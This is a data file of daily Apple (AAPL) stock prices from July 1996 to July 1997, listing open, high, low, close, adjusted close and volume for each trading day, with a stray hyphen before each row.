-1996-07-16,0.6205357313156128,0.6205357313156128,0.5714285969734192,0.6026785969734192,0.5231495499610901,72304400.0,AAPL
-1996-07-17,0.6205357313156128,0.625,0.59375,0.6026785969734192,0.5231495499610901,58399600.0,AAPL
-1996-07-18,0.7678571343421936,0.7767857313156128,0.7271205186843872,0.7455357313156128,0.6471554040908813,224263200.0,AAPL
-1996-07-19,0.7455357313156128,0.75,0.7410714030265808,0.7410714030265808,0.6432802677154541,66494400.0,AAPL
-1996-07-22,0.7455357313156128,0.7455357313156128,0.7142857313156128,0.7232142686843872,0.6277795433998108,38052000.0,AAPL
-1996-07-23,0.7321428656578064,0.7366071343421936,0.7232142686843872,0.7321428656578064,0.6355296969413757,32530400.0,AAPL
-1996-07-24,0.7142857313156128,0.75,0.7098214030265808,0.7433035969734192,0.6452178955078125,66018400.0,AAPL
-1996-07-25,0.7544642686843872,0.7633928656578064,0.7410714030265808,0.75,0.6510307192802429,28607600.0,AAPL
-1996-07-26,0.7678571343421936,0.7857142686843872,0.7544642686843872,0.7857142686843872,0.6820321679115295,30920400.0,AAPL
-1996-07-29,0.7857142686843872,0.8035714030265808,0.7767857313156128,0.7946428656578064,0.689782440662384,48924400.0,AAPL
-1996-07-30,0.8080357313156128,0.8125,0.7589285969734192,0.7633928656578064,0.6626561284065247,47350800.0,AAPL
-1996-07-31,0.7589285969734192,0.7857142686843872,0.7589285969734192,0.7857142686843872,0.6820321679115295,23195200.0,AAPL
-1996-08-01,0.7857142686843872,0.7857142686843872,0.7544642686843872,0.7589285969734192,0.6587809920310974,27540800.0,AAPL
-1996-08-02,0.7723214030265808,0.7857142686843872,0.7589285969734192,0.7723214030265808,0.6704064607620239,31987200.0,AAPL
-1996-08-05,0.7723214030265808,0.78125,0.7455357313156128,0.75,0.6510307192802429,25253200.0,AAPL
-1996-08-06,0.75,0.7678571343421936,0.7410714030265808,0.7678571343421936,0.6665313839912415,23396800.0,AAPL
-1996-08-07,0.7767857313156128,0.8080357313156128,0.7723214030265808,0.7991071343421936,0.6936576962471008,62115200.0,AAPL
-1996-08-08,0.7991071343421936,0.7991071343421936,0.78125,0.7901785969734192,0.6859074831008911,25379200.0,AAPL
-1996-08-09,0.7946428656578064,0.8348214030265808,0.7901785969734192,0.8258928656578064,0.7169086337089539,57696800.0,AAPL
-1996-08-12,0.8348214030265808,0.84375,0.7991071343421936,0.8214285969734192,0.7130334973335266,37836400.0,AAPL
-1996-08-13,0.8169642686843872,0.8258928656578064,0.7991071343421936,0.8035714030265808,0.6975328922271729,25877600.0,AAPL
-1996-08-14,0.8080357313156128,0.8214285969734192,0.8080357313156128,0.8125,0.7052832841873169,17964800.0,AAPL
-1996-08-15,0.8080357313156128,0.8125,0.7946428656578064,0.7946428656578064,0.689782440662384,26905200.0,AAPL
-1996-08-16,0.8080357313156128,0.8080357313156128,0.7901785969734192,0.8035714030265808,0.6975328922271729,35439600.0,AAPL
-1996-08-19,0.7991071343421936,0.84375,0.7991071343421936,0.84375,0.7324094772338867,56579600.0,AAPL
-1996-08-20,0.8526785969734192,0.8526785969734192,0.8348214030265808,0.8392857313156128,0.7285343408584595,52939600.0,AAPL
-1996-08-21,0.8392857313156128,0.84375,0.8169642686843872,0.8214285969734192,0.7130334973335266,28336000.0,AAPL
-1996-08-22,0.8214285969734192,0.8303571343421936,0.8169642686843872,0.8303571343421936,0.7207838892936707,21921200.0,AAPL
-1996-08-23,0.8214285969734192,0.8571428656578064,0.8214285969734192,0.8526785969734192,0.740159809589386,50864800.0,AAPL
-1996-08-26,0.8526785969734192,0.8616071343421936,0.8392857313156128,0.8616071343421936,0.7479101419448853,22419600.0,AAPL
-1996-08-27,0.8616071343421936,0.8928571343421936,0.8571428656578064,0.8878348469734192,0.7706770300865173,72326800.0,AAPL
-1996-08-28,0.8883928656578064,0.8928571343421936,0.875,0.8883928656578064,0.7711612582206726,40899600.0,AAPL
-1996-08-29,0.8883928656578064,0.8883928656578064,0.8705357313156128,0.875,0.7595357298851013,26731600.0,AAPL
-1996-08-30,0.8839285969734192,0.8839285969734192,0.8660714030265808,0.8660714030265808,0.7517853379249573,26432000.0,AAPL
-1996-09-03,0.8616071343421936,0.8705357313156128,0.8526785969734192,0.8616071343421936,0.7479101419448853,17074400.0,AAPL
-1996-09-04,0.8526785969734192,0.8794642686843872,0.8526785969734192,0.8616071343421936,0.7479101419448853,25362400.0,AAPL
-1996-09-05,0.8392857313156128,0.8482142686843872,0.8169642686843872,0.8169642686843872,0.7091583609580994,69896400.0,AAPL
-1996-09-06,0.8258928656578064,0.8303571343421936,0.8080357313156128,0.8214285969734192,0.7130334973335266,60208400.0,AAPL
-1996-09-09,0.8080357313156128,0.8125,0.78125,0.7857142686843872,0.6820321679115295,37060800.0,AAPL
-1996-09-10,0.7901785969734192,0.7901785969734192,0.7678571343421936,0.7678571343421936,0.6665313839912415,38928400.0,AAPL
-1996-09-11,0.7678571343421936,0.7767857313156128,0.75,0.7544642686843872,0.6549058556556702,36800400.0,AAPL
-1996-09-12,0.75,0.7544642686843872,0.7232142686843872,0.7276785969734192,0.6316547393798828,65228800.0,AAPL
-1996-09-13,0.7276785969734192,0.7589285969734192,0.7276785969734192,0.75,0.6510307192802429,41652800.0,AAPL
-1996-09-16,0.7678571343421936,0.8214285969734192,0.7633928656578064,0.7991071343421936,0.6936576962471008,61163200.0,AAPL
-1996-09-17,0.8169642686843872,0.8258928656578064,0.8035714030265808,0.8214285969734192,0.7130334973335266,52292800.0,AAPL
-1996-09-18,0.8214285969734192,0.8616071343421936,0.8169642686843872,0.8392857313156128,0.7285343408584595,88340000.0,AAPL
-1996-09-19,0.84375,0.84375,0.8348214030265808,0.8348214030265808,0.7246590256690979,29867600.0,AAPL
-1996-09-20,0.8348214030265808,0.8392857313156128,0.8125,0.8169642686843872,0.7091583609580994,37287600.0,AAPL
-1996-09-23,0.8169642686843872,0.8169642686843872,0.7991071343421936,0.7991071343421936,0.6936576962471008,11440800.0,AAPL
-1996-09-24,0.7991071343421936,0.8169642686843872,0.7991071343421936,0.8035714030265808,0.6975328922271729,35946400.0,AAPL
-1996-09-25,0.8035714030265808,0.8080357313156128,0.7857142686843872,0.7991071343421936,0.6936576962471008,27260800.0,AAPL
-1996-09-26,0.7991071343421936,0.8035714030265808,0.7946428656578064,0.7991071343421936,0.6936576962471008,25821600.0,AAPL
-1996-09-27,0.7946428656578064,0.7991071343421936,0.7901785969734192,0.796875,0.6917199492454529,20392400.0,AAPL
-1996-09-30,0.7901785969734192,0.7991071343421936,0.7901785969734192,0.7924107313156128,0.6878448724746704,21361200.0,AAPL
-1996-10-01,0.7857142686843872,0.8839285969734192,0.7857142686843872,0.8794642686843872,0.7634109854698181,134811600.0,AAPL
-1996-10-02,0.84375,0.8794642686843872,0.8258928656578064,0.84375,0.7324094772338867,69204800.0,AAPL
-1996-10-03,0.84375,0.8482142686843872,0.7991071343421936,0.7991071343421936,0.6936576962471008,56929600.0,AAPL
-1996-10-04,0.8169642686843872,0.8258928656578064,0.7901785969734192,0.8147321343421936,0.7072207927703857,33364800.0,AAPL
-1996-10-07,0.8214285969734192,0.8348214030265808,0.8169642686843872,0.8258928656578064,0.7169086337089539,23928800.0,AAPL
-1996-10-08,0.8392857313156128,0.8660714030265808,0.8303571343421936,0.8303571343421936,0.7207838892936707,47608400.0,AAPL
-1996-10-09,0.8348214030265808,0.84375,0.8169642686843872,0.8214285969734192,0.7130334973335266,21302400.0,AAPL
-1996-10-10,0.8526785969734192,0.875,0.8482142686843872,0.8638392686843872,0.7498478293418884,69174000.0,AAPL
-1996-10-11,0.8705357313156128,0.8794642686843872,0.8571428656578064,0.8660714030265808,0.7517853379249573,30172800.0,AAPL
-1996-10-14,0.875,0.90625,0.8660714030265808,0.9017857313156128,0.7827867865562439,67421200.0,AAPL
-1996-10-15,0.9196428656578064,0.9241071343421936,0.8928571343421936,0.9017857313156128,0.7827867865562439,90764800.0,AAPL
-1996-10-16,0.9017857313156128,0.9330357313156128,0.8794642686843872,0.9196428656578064,0.7982876300811768,83686400.0,AAPL
-1996-10-17,0.9821428656578064,0.9910714030265808,0.9419642686843872,0.9419642686843872,0.8176634311676025,256656400.0,AAPL
-1996-10-18,0.9464285969734192,0.9508928656578064,0.9285714030265808,0.9486607313156128,0.8234760165214539,95664800.0,AAPL
-1996-10-21,0.9464285969734192,0.9508928656578064,0.9107142686843872,0.9151785969734192,0.7944125533103943,46902800.0,AAPL
-1996-10-22,0.9151785969734192,0.9151785969734192,0.8660714030265808,0.8883928656578064,0.7711612582206726,53429600.0,AAPL
-1996-10-23,0.8839285969734192,0.9017857313156128,0.8705357313156128,0.8839285969734192,0.7672860622406006,40014800.0,AAPL
-1996-10-24,0.8928571343421936,0.8928571343421936,0.875,0.8839285969734192,0.7672860622406006,21092400.0,AAPL
-1996-10-25,0.8883928656578064,0.8928571343421936,0.875,0.875,0.7595357298851013,19390000.0,AAPL
-1996-10-28,0.8973214030265808,0.8973214030265808,0.875,0.875,0.7595357298851013,29999200.0,AAPL
-1996-10-29,0.8794642686843872,0.8839285969734192,0.8258928656578064,0.8303571343421936,0.7207838892936707,49907200.0,AAPL
-1996-10-30,0.8392857313156128,0.8571428656578064,0.8169642686843872,0.8169642686843872,0.7091583609580994,64262800.0,AAPL
-1996-10-31,0.8303571343421936,0.8348214030265808,0.7946428656578064,0.8214285969734192,0.7130334973335266,48554800.0,AAPL
-1996-11-01,0.8348214030265808,0.8660714030265808,0.8258928656578064,0.8660714030265808,0.7517853379249573,52833200.0,AAPL
-1996-11-04,0.8705357313156128,0.875,0.8482142686843872,0.8705357313156128,0.7556606531143188,22817200.0,AAPL
-1996-11-05,0.875,0.9241071343421936,0.875,0.9107142686843872,0.7905372381210327,94528000.0,AAPL
-1996-11-06,0.9151785969734192,0.9196428656578064,0.8883928656578064,0.9107142686843872,0.7905372381210327,45077200.0,AAPL
-1996-11-07,0.90625,0.9285714030265808,0.9017857313156128,0.9241071343421936,0.8021628260612488,38768800.0,AAPL
-1996-11-08,0.9241071343421936,0.9375,0.9196428656578064,0.9375,0.8137882351875305,47177200.0,AAPL
-1996-11-11,0.9419642686843872,0.9419642686843872,0.9241071343421936,0.9285714030265808,0.806037962436676,23133600.0,AAPL
-1996-11-12,0.9330357313156128,0.9375,0.8973214030265808,0.9017857313156128,0.7827867865562439,35739200.0,AAPL
-1996-11-13,0.90625,0.9241071343421936,0.8928571343421936,0.9129464030265808,0.7924746870994568,20902000.0,AAPL
-1996-11-14,0.9107142686843872,0.9196428656578064,0.90625,0.9151785969734192,0.7944125533103943,12132400.0,AAPL
-1996-11-15,0.9241071343421936,0.9285714030265808,0.8928571343421936,0.8928571343421936,0.7750362753868103,32678800.0,AAPL
-1996-11-18,0.8928571343421936,0.8973214030265808,0.875,0.8839285969734192,0.7672860622406006,38208800.0,AAPL
-1996-11-19,0.8883928656578064,0.8973214030265808,0.8794642686843872,0.8883928656578064,0.7711612582206726,31108000.0,AAPL
-1996-11-20,0.8883928656578064,0.90625,0.8883928656578064,0.8928571343421936,0.7750362753868103,25774000.0,AAPL
-1996-11-21,0.8883928656578064,0.8928571343421936,0.8705357313156128,0.875,0.7595357298851013,17651200.0,AAPL
-1996-11-22,0.875,0.9017857313156128,0.875,0.9017857313156128,0.7827867865562439,25995200.0,AAPL
-1996-11-25,0.90625,0.9107142686843872,0.8928571343421936,0.8928571343421936,0.7750362753868103,19737200.0,AAPL
-1996-11-26,0.8883928656578064,0.8928571343421936,0.8571428656578064,0.8660714030265808,0.7517853379249573,28246400.0,AAPL
-1996-11-27,0.8616071343421936,0.8794642686843872,0.8616071343421936,0.875,0.7595357298851013,22260000.0,AAPL
-1996-11-29,0.875,0.8794642686843872,0.8571428656578064,0.8616071343421936,0.7479101419448853,10572800.0,AAPL
-1996-12-02,0.8616071343421936,0.8973214030265808,0.8526785969734192,0.8973214030265808,0.7789115905761719,43744400.0,AAPL
-1996-12-03,0.9017857313156128,0.9107142686843872,0.8928571343421936,0.8973214030265808,0.7789115905761719,68882800.0,AAPL
-1996-12-04,0.8973214030265808,0.90625,0.8883928656578064,0.8928571343421936,0.7750362753868103,47706400.0,AAPL
-1996-12-05,0.8928571343421936,0.9017857313156128,0.8928571343421936,0.8928571343421936,0.7750362753868103,35534800.0,AAPL
-1996-12-06,0.8705357313156128,0.90625,0.8571428656578064,0.8973214030265808,0.7789115905761719,57346800.0,AAPL
-1996-12-09,0.9017857313156128,0.90625,0.8861607313156128,0.8928571343421936,0.7750362753868103,39662000.0,AAPL
-1996-12-10,0.8883928656578064,0.8928571343421936,0.8660714030265808,0.875,0.7595357298851013,46071200.0,AAPL
-1996-12-11,0.8482142686843872,0.8660714030265808,0.8482142686843872,0.8571428656578064,0.744035005569458,40840800.0,AAPL
-1996-12-12,0.8616071343421936,0.8660714030265808,0.8526785969734192,0.8526785969734192,0.740159809589386,21750400.0,AAPL
-1996-12-13,0.8482142686843872,0.8526785969734192,0.8303571343421936,0.8303571343421936,0.7207838892936707,22274000.0,AAPL
-1996-12-16,0.8392857313156128,0.8392857313156128,0.8035714030265808,0.8080357313156128,0.7014080882072449,37310000.0,AAPL
-1996-12-17,0.7991071343421936,0.8035714030265808,0.7946428656578064,0.8035714030265808,0.6975328922271729,39312000.0,AAPL
-1996-12-18,0.8125,0.8258928656578064,0.8080357313156128,0.8258928656578064,0.7169086337089539,51268000.0,AAPL
-1996-12-19,0.8214285969734192,0.8303571343421936,0.7946428656578064,0.7946428656578064,0.689782440662384,34221600.0,AAPL
-1996-12-20,0.8035714030265808,0.84375,0.7633928656578064,0.8392857313156128,0.7285343408584595,136609200.0,AAPL
-1996-12-23,0.8571428656578064,0.8660714030265808,0.8303571343421936,0.8303571343421936,0.7207838892936707,83076000.0,AAPL
-1996-12-24,0.8303571343421936,0.8348214030265808,0.8169642686843872,0.8258928656578064,0.7169086337089539,14403200.0,AAPL
-1996-12-26,0.8303571343421936,0.8303571343421936,0.8169642686843872,0.8214285969734192,0.7130334973335266,21221200.0,AAPL
-1996-12-27,0.8169642686843872,0.8482142686843872,0.8169642686843872,0.8258928656578064,0.7169086337089539,34249600.0,AAPL
-1996-12-30,0.8258928656578064,0.8303571343421936,0.7767857313156128,0.7767857313156128,0.674281895160675,65450000.0,AAPL
-1996-12-31,0.7633928656578064,0.7678571343421936,0.7410714030265808,0.7455357313156128,0.6471554040908813,95936400.0,AAPL
-1997-01-02,0.7544642686843872,0.7589285969734192,0.7410714030265808,0.75,0.6510307192802429,35778400.0,AAPL
-1997-01-03,0.7544642686843872,0.7946428656578064,0.75,0.7767857313156128,0.674281895160675,29929200.0,AAPL
-1997-01-06,0.6294642686843872,0.6551339030265808,0.6160714030265808,0.6383928656578064,0.5541512370109558,470708000.0,AAPL
-1997-01-07,0.6473214030265808,0.6517857313156128,0.625,0.625,0.5425255298614502,244232800.0,AAPL
-1997-01-08,0.6517857313156128,0.65625,0.6205357313156128,0.6294642686843872,0.5464007258415222,275032800.0,AAPL
-1997-01-09,0.6339285969734192,0.6383928656578064,0.625,0.6339285969734192,0.550275981426239,111664000.0,AAPL
-1997-01-10,0.6294642686843872,0.6517857313156128,0.6294642686843872,0.6517857313156128,0.5657765865325928,88429600.0,AAPL
-1997-01-13,0.6607142686843872,0.6607142686843872,0.6473214030265808,0.6473214030265808,0.5619014501571655,76437200.0,AAPL
-1997-01-14,0.65625,0.65625,0.6339285969734192,0.6383928656578064,0.5541512370109558,63943600.0,AAPL
-1997-01-15,0.6428571343421936,0.6428571343421936,0.6116071343421936,0.6160714030265808,0.5347750186920166,108273200.0,AAPL
-1997-01-16,0.6116071343421936,0.6116071343421936,0.59375,0.5982142686843872,0.5192744135856628,167826400.0,AAPL
-1997-01-17,0.5982142686843872,0.6116071343421936,0.59375,0.5982142686843872,0.5192744135856628,81286800.0,AAPL
-1997-01-20,0.6026785969734192,0.6116071343421936,0.5982142686843872,0.6049107313156128,0.5250871777534485,72906400.0,AAPL
-1997-01-21,0.6071428656578064,0.6160714030265808,0.6026785969734192,0.6160714030265808,0.5347750186920166,71206800.0,AAPL
-1997-01-22,0.6205357313156128,0.625,0.6071428656578064,0.6138392686843872,0.5328376293182373,51405200.0,AAPL
-1997-01-23,0.6160714030265808,0.6205357313156128,0.6116071343421936,0.6160714030265808,0.5347750186920166,43086400.0,AAPL
-1997-01-24,0.6160714030265808,0.6160714030265808,0.6026785969734192,0.6026785969734192,0.5231495499610901,47070800.0,AAPL
-1997-01-27,0.6116071343421936,0.6160714030265808,0.59375,0.59375,0.5153992176055908,53510800.0,AAPL
-1997-01-28,0.6071428656578064,0.6071428656578064,0.5892857313156128,0.59375,0.5153992176055908,52640000.0,AAPL
-1997-01-29,0.59375,0.5982142686843872,0.5892857313156128,0.59375,0.5153992176055908,37926000.0,AAPL
-1997-01-30,0.5982142686843872,0.5982142686843872,0.5892857313156128,0.5982142686843872,0.5192744135856628,34983200.0,AAPL
-1997-01-31,0.59375,0.59375,0.5892857313156128,0.59375,0.5153992176055908,49907200.0,AAPL
-1997-02-03,0.6026785969734192,0.6071428656578064,0.5803571343421936,0.5825892686843872,0.5057113170623779,92027600.0,AAPL
-1997-02-04,0.5803571343421936,0.5848214030265808,0.5401785969734192,0.5491071343421936,0.4766474664211273,178161200.0,AAPL
-1997-02-05,0.5446428656578064,0.5580357313156128,0.5446428656578064,0.5446428656578064,0.4727722108364105,98621600.0,AAPL
-1997-02-06,0.5446428656578064,0.5758928656578064,0.5446428656578064,0.5714285969734192,0.49602338671684265,99876000.0,AAPL
-1997-02-07,0.5892857313156128,0.5892857313156128,0.5625,0.5647321343421936,0.49021053314208984,58816800.0,AAPL
-1997-02-10,0.5758928656578064,0.5758928656578064,0.5580357313156128,0.5580357313156128,0.484397828578949,46351200.0,AAPL
-1997-02-11,0.5669642686843872,0.5714285969734192,0.5535714030265808,0.5602678656578064,0.48633548617362976,35019600.0,AAPL
-1997-02-12,0.5625,0.5669642686843872,0.5535714030265808,0.5625,0.4882727861404419,44066400.0,AAPL
-1997-02-13,0.5625,0.5758928656578064,0.5535714030265808,0.5758928656578064,0.4998985230922699,48958000.0,AAPL
-1997-02-14,0.5803571343421936,0.5848214030265808,0.5714285969734192,0.5825892686843872,0.5057113170623779,59312400.0,AAPL
-1997-02-18,0.59375,0.6383928656578064,0.5803571343421936,0.6383928656578064,0.5541512370109558,92069600.0,AAPL
-1997-02-19,0.6383928656578064,0.6383928656578064,0.6116071343421936,0.6294642686843872,0.5464007258415222,60323200.0,AAPL
-1997-02-20,0.6294642686843872,0.6294642686843872,0.6071428656578064,0.6071428656578064,0.5270248055458069,31236800.0,AAPL
-1997-02-21,0.6026785969734192,0.6071428656578064,0.5714285969734192,0.5848214030265808,0.5076488852500916,52771600.0,AAPL
-1997-02-24,0.5803571343421936,0.6026785969734192,0.5803571343421936,0.59375,0.5153992176055908,29397200.0,AAPL
-1997-02-25,0.6071428656578064,0.6205357313156128,0.6026785969734192,0.6026785969734192,0.5231495499610901,34521200.0,AAPL
-1997-02-26,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6116071343421936,0.5308999419212341,25793600.0,AAPL
-1997-02-27,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5270248055458069,25748800.0,AAPL
-1997-02-28,0.6026785969734192,0.6026785969734192,0.5803571343421936,0.5803571343421936,0.5037736296653748,30469600.0,AAPL
-1997-03-03,0.5892857313156128,0.5892857313156128,0.5714285969734192,0.5758928656578064,0.4998985230922699,32614400.0,AAPL
-1997-03-04,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5892857313156128,0.5115240216255188,25799200.0,AAPL
-1997-03-05,0.59375,0.6071428656578064,0.5892857313156128,0.6071428656578064,0.5270248055458069,24040800.0,AAPL
-1997-03-06,0.6071428656578064,0.6071428656578064,0.5892857313156128,0.59375,0.5153992176055908,29072400.0,AAPL
-1997-03-07,0.5982142686843872,0.5982142686843872,0.5848214030265808,0.5892857313156128,0.5115240216255188,17654000.0,AAPL
-1997-03-10,0.59375,0.5982142686843872,0.5870535969734192,0.59375,0.5153992176055908,24796800.0,AAPL
-1997-03-11,0.59375,0.59375,0.5714285969734192,0.5848214030265808,0.5076488852500916,24626000.0,AAPL
-1997-03-12,0.5803571343421936,0.5982142686843872,0.5758928656578064,0.5803571343421936,0.5037736296653748,17749200.0,AAPL
-1997-03-13,0.5848214030265808,0.5848214030265808,0.5758928656578064,0.5848214030265808,0.5076488852500916,26272400.0,AAPL
-1997-03-14,0.5848214030265808,0.5982142686843872,0.5803571343421936,0.5915178656578064,0.513461709022522,57604400.0,AAPL
-1997-03-17,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5892857313156128,0.5115240216255188,48188000.0,AAPL
-1997-03-18,0.5848214030265808,0.5892857313156128,0.5758928656578064,0.5803571343421936,0.5037736296653748,31768800.0,AAPL
-1997-03-19,0.5848214030265808,0.5848214030265808,0.5669642686843872,0.5758928656578064,0.4998985230922699,52057600.0,AAPL
-1997-03-20,0.5714285969734192,0.625,0.5669642686843872,0.6160714030265808,0.5347750186920166,79259600.0,AAPL
-1997-03-21,0.625,0.625,0.5848214030265808,0.59375,0.5153992176055908,34115200.0,AAPL
-1997-03-24,0.5892857313156128,0.59375,0.5803571343421936,0.5892857313156128,0.5115240216255188,17805200.0,AAPL
-1997-03-25,0.59375,0.59375,0.57421875,0.5892857313156128,0.5115240216255188,28140000.0,AAPL
-1997-03-26,0.5848214030265808,0.6026785969734192,0.5803571343421936,0.5982142686843872,0.5192744135856628,26709200.0,AAPL
-1997-03-27,0.625,0.6875,0.6160714030265808,0.6651785969734192,0.5774021744728088,284726400.0,AAPL
-1997-03-31,0.6651785969734192,0.6919642686843872,0.6160714030265808,0.6517857313156128,0.5657765865325928,242561200.0,AAPL
-1997-04-01,0.6294642686843872,0.6361607313156128,0.6205357313156128,0.625,0.5425255298614502,55064800.0,AAPL
-1997-04-02,0.6383928656578064,0.6450892686843872,0.6294642686843872,0.6428571343421936,0.5580261945724487,55608000.0,AAPL
-1997-04-03,0.6607142686843872,0.6830357313156128,0.6517857313156128,0.6741071343421936,0.5851525068283081,137214000.0,AAPL
-1997-04-04,0.6830357313156128,0.7008928656578064,0.6785714030265808,0.6875,0.5967780351638794,118812400.0,AAPL
-1997-04-07,0.7053571343421936,0.7098214030265808,0.6875,0.6964285969734192,0.6045284867286682,63814800.0,AAPL
-1997-04-08,0.7008928656578064,0.7008928656578064,0.6651785969734192,0.6830357313156128,0.5929027795791626,48456800.0,AAPL
-1997-04-09,0.6875,0.6875,0.6741071343421936,0.6785714030265808,0.5890277028083801,61247200.0,AAPL
-1997-04-10,0.6785714030265808,0.6830357313156128,0.6607142686843872,0.6741071343421936,0.5851525068283081,29246000.0,AAPL
-1997-04-11,0.6741071343421936,0.6741071343421936,0.6473214030265808,0.6517857313156128,0.5657765865325928,19891200.0,AAPL
-1997-04-14,0.65625,0.6741071343421936,0.6428571343421936,0.6696428656578064,0.5812775492668152,28089600.0,AAPL
-1997-04-15,0.6830357313156128,0.6875,0.6473214030265808,0.6584821343421936,0.5715893507003784,34011600.0,AAPL
-1997-04-16,0.6651785969734192,0.6785714030265808,0.65625,0.6629464030265808,0.5754646062850952,21554400.0,AAPL
-1997-04-17,0.6517857313156128,0.6830357313156128,0.6473214030265808,0.6785714030265808,0.5890277028083801,54866000.0,AAPL
-1997-04-18,0.6830357313156128,0.6830357313156128,0.65625,0.65625,0.5696516633033752,35361200.0,AAPL
-1997-04-21,0.6651785969734192,0.6651785969734192,0.6428571343421936,0.6428571343421936,0.5580261945724487,22288000.0,AAPL
-1997-04-22,0.6473214030265808,0.6607142686843872,0.6383928656578064,0.6607142686843872,0.5735270977020264,23662800.0,AAPL
-1997-04-23,0.65625,0.6607142686843872,0.6473214030265808,0.6473214030265808,0.5619014501571655,13622000.0,AAPL
-1997-04-24,0.6607142686843872,0.6607142686843872,0.6339285969734192,0.6383928656578064,0.5541512370109558,18734800.0,AAPL
-1997-04-25,0.6294642686843872,0.6383928656578064,0.6205357313156128,0.625,0.5425255298614502,21845600.0,AAPL
-1997-04-28,0.6339285969734192,0.6383928656578064,0.625,0.6294642686843872,0.5464007258415222,11692800.0,AAPL
-1997-04-29,0.6428571343421936,0.6428571343421936,0.625,0.6316964030265808,0.5483384132385254,12938800.0,AAPL
-1997-04-30,0.6071428656578064,0.6160714030265808,0.5982142686843872,0.6071428656578064,0.5270248055458069,64408400.0,AAPL
-1997-05-01,0.6026785969734192,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5270248055458069,18085200.0,AAPL
-1997-05-02,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5270248055458069,25496800.0,AAPL
-1997-05-05,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5270248055458069,24623200.0,AAPL
-1997-05-06,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6026785969734192,0.5231495499610901,20787200.0,AAPL
-1997-05-07,0.6026785969734192,0.6071428656578064,0.5848214030265808,0.5892857313156128,0.5115240216255188,28554400.0,AAPL
-1997-05-08,0.59375,0.6116071343421936,0.5892857313156128,0.6071428656578064,0.5270248055458069,20734000.0,AAPL
-1997-05-09,0.6071428656578064,0.625,0.6071428656578064,0.609375,0.5289624333381653,47093200.0,AAPL
-1997-05-12,0.6160714030265808,0.6294642686843872,0.6071428656578064,0.6272321343421936,0.544463038444519,41244000.0,AAPL
-1997-05-13,0.625,0.6383928656578064,0.6071428656578064,0.6272321343421936,0.544463038444519,49254800.0,AAPL
-1997-05-14,0.6383928656578064,0.6428571343421936,0.625,0.6316964030265808,0.5483384132385254,33910800.0,AAPL
-1997-05-15,0.6339285969734192,0.6428571343421936,0.625,0.6339285969734192,0.550275981426239,24752000.0,AAPL
-1997-05-16,0.625,0.6294642686843872,0.6160714030265808,0.6160714030265808,0.5347750186920166,23324000.0,AAPL
-1997-05-19,0.625,0.6294642686843872,0.6071428656578064,0.6071428656578064,0.5270248055458069,13064800.0,AAPL
-1997-05-20,0.6071428656578064,0.6227678656578064,0.5982142686843872,0.6160714030265808,0.5347750186920166,21207200.0,AAPL
-1997-05-21,0.6116071343421936,0.6116071343421936,0.5892857313156128,0.6026785969734192,0.5231495499610901,30562000.0,AAPL
-1997-05-22,0.5982142686843872,0.6026785969734192,0.5892857313156128,0.59375,0.5153992176055908,19191200.0,AAPL
-1997-05-23,0.59375,0.6071428656578064,0.59375,0.6026785969734192,0.5231495499610901,16758000.0,AAPL
-1997-05-27,0.5982142686843872,0.6205357313156128,0.5982142686843872,0.6160714030265808,0.5347750186920166,20521200.0,AAPL
-1997-05-28,0.6205357313156128,0.625,0.6071428656578064,0.6071428656578064,0.5270248055458069,21884800.0,AAPL
-1997-05-29,0.6116071343421936,0.6116071343421936,0.59375,0.59375,0.5153992176055908,27795600.0,AAPL
-1997-05-30,0.5892857313156128,0.6071428656578064,0.5848214030265808,0.59375,0.5153992176055908,44332400.0,AAPL
-1997-06-02,0.6071428656578064,0.6071428656578064,0.5982142686843872,0.6049107313156128,0.5250871777534485,10396400.0,AAPL
-1997-06-03,0.5982142686843872,0.6049107313156128,0.59375,0.5959821343421936,0.5173369646072388,16310000.0,AAPL
-1997-06-04,0.59375,0.5982142686843872,0.5892857313156128,0.59375,0.5153992176055908,20101200.0,AAPL
-1997-06-05,0.59375,0.6116071343421936,0.5915178656578064,0.5959821343421936,0.5173369646072388,16153200.0,AAPL
-1997-06-06,0.59375,0.5982142686843872,0.5892857313156128,0.5982142686843872,0.5192744135856628,13218800.0,AAPL
-1997-06-09,0.5959821343421936,0.6049107313156128,0.59375,0.59375,0.5153992176055908,18701200.0,AAPL
-1997-06-10,0.5982142686843872,0.5982142686843872,0.5736607313156128,0.5803571343421936,0.5037736296653748,34762000.0,AAPL
-1997-06-11,0.5825892686843872,0.5870535969734192,0.5803571343421936,0.5825892686843872,0.5057113170623779,26350800.0,AAPL
-1997-06-12,0.5848214030265808,0.5848214030265808,0.5714285969734192,0.5736607313156128,0.49796101450920105,19672800.0,AAPL
-1997-06-13,0.5736607313156128,0.5758928656578064,0.5625,0.5647321343421936,0.49021053314208984,33017600.0,AAPL
-1997-06-16,0.5669642686843872,0.5669642686843872,0.5491071343421936,0.5535714030265808,0.4805225133895874,33502000.0,AAPL
-1997-06-17,0.5558035969734192,0.5892857313156128,0.5535714030265808,0.5837053656578064,0.5066801309585571,35562800.0,AAPL
-1997-06-18,0.5758928656578064,0.5803571343421936,0.5625,0.5691964030265808,0.49408596754074097,27412000.0,AAPL
-1997-06-19,0.5714285969734192,0.5714285969734192,0.5602678656578064,0.5625,0.4882727861404419,30256800.0,AAPL
-1997-06-20,0.5602678656578064,0.5625,0.5535714030265808,0.5558035969734192,0.4824601113796234,27546400.0,AAPL
-1997-06-23,0.5535714030265808,0.5580357313156128,0.5491071343421936,0.5491071343421936,0.4766474664211273,24886400.0,AAPL
-1997-06-24,0.5513392686843872,0.5558035969734192,0.5446428656578064,0.546875,0.4747098386287689,27787200.0,AAPL
-1997-06-25,0.546875,0.5491071343421936,0.5357142686843872,0.5401785969734192,0.4688970446586609,49658000.0,AAPL
-1997-06-26,0.5401785969734192,0.5401785969734192,0.5223214030265808,0.5245535969734192,0.4553339183330536,95496800.0,AAPL
-1997-06-27,0.5245535969734192,0.5290178656578064,0.5223214030265808,0.5245535969734192,0.4553339183330536,39488400.0,AAPL
-1997-06-30,0.5267857313156128,0.5267857313156128,0.5,0.5089285969734192,0.44177091121673584,42795200.0,AAPL
-1997-07-01,0.4977678656578064,0.5,0.46875,0.4709821343421936,0.40883171558380127,112669200.0,AAPL
